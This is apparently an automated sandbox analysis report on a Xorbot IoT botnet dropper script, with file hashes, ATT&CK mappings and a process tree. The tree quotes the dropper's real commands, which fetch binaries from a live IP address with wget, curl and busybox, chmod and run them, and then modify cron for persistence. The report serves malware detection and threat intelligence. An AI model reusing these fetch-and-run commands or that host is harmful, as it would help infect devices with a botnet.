xorbot | aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

Analysis

max time kernel
150s
max time network
92s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02-12-2024 00:17

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General

Target

RKY1N_bins.sh
Size

10KB
MD5

3185a06c9e65901556ba39c015fcb435
SHA1

125fb6885ad57ad672d32176a30567375ad03770
SHA256

aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60
SHA512

0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39
SSDEEP

192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
738	chmod
748	chmod

Executes dropped EXE 2 IoCs

Processes:

EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2RmcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

ioc	pid	Process
/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	739	EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	749	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

Renames itself 1 IoCs

Processes:

mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

pid	Process
750	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.YX1LUI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbKcrontabcurl

description	ioc	Process
File opened for reading	/proc/3/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/15/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/384/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/223/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/775/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/798/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/814/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/829/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/13/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/4/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/830/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/496/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/698/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/780/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/810/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/824/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/402/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/781/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/826/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/78/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/145/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/813/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/820/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/23/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/73/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/766/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/785/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/8/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/22/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/822/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/7/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/20/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/104/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/759/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/773/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/371/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/767/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/834/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/838/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/10/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/313/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/779/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/794/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/827/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/812/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/24/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/37/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/76/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/383/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/804/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/818/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/5/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/12/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/16/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/74/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/114/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/714/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/777/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/783/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
File opened for reading	/proc/833/cmdline	mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	wget
File opened for modification	/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	curl
File opened for modification	/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK	busybox
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	wget
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	curl
File opened for modification	/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R	busybox

/tmp/RKY1N_bins.sh
/tmp/RKY1N_bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:749
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:751
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:752
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:753
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:754
- /bin/rm
  rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
  2⤵
  PID:756
- /usr/bin/wget
  wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
  2⤵
  PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.YX1LUI

Filesize
210B

MD5
f44cf9c84d25c220182ac5d53be38e5f

SHA1
b030f84f7185614f279a5126461f1851b5ba238e

SHA256
8d6611d156c3141d3fbd94e19d0991f4c1decefecf29c4ec86b2c1221504943b

SHA512
f601fb26619a1ec7a739a1c0994cf0fb6db3d853688bc2876cc5afd2a90a333cead4c5a503dd425b29edc98dab6a8bab9cd94c501b8645c39a46104f401f0033

Download Submit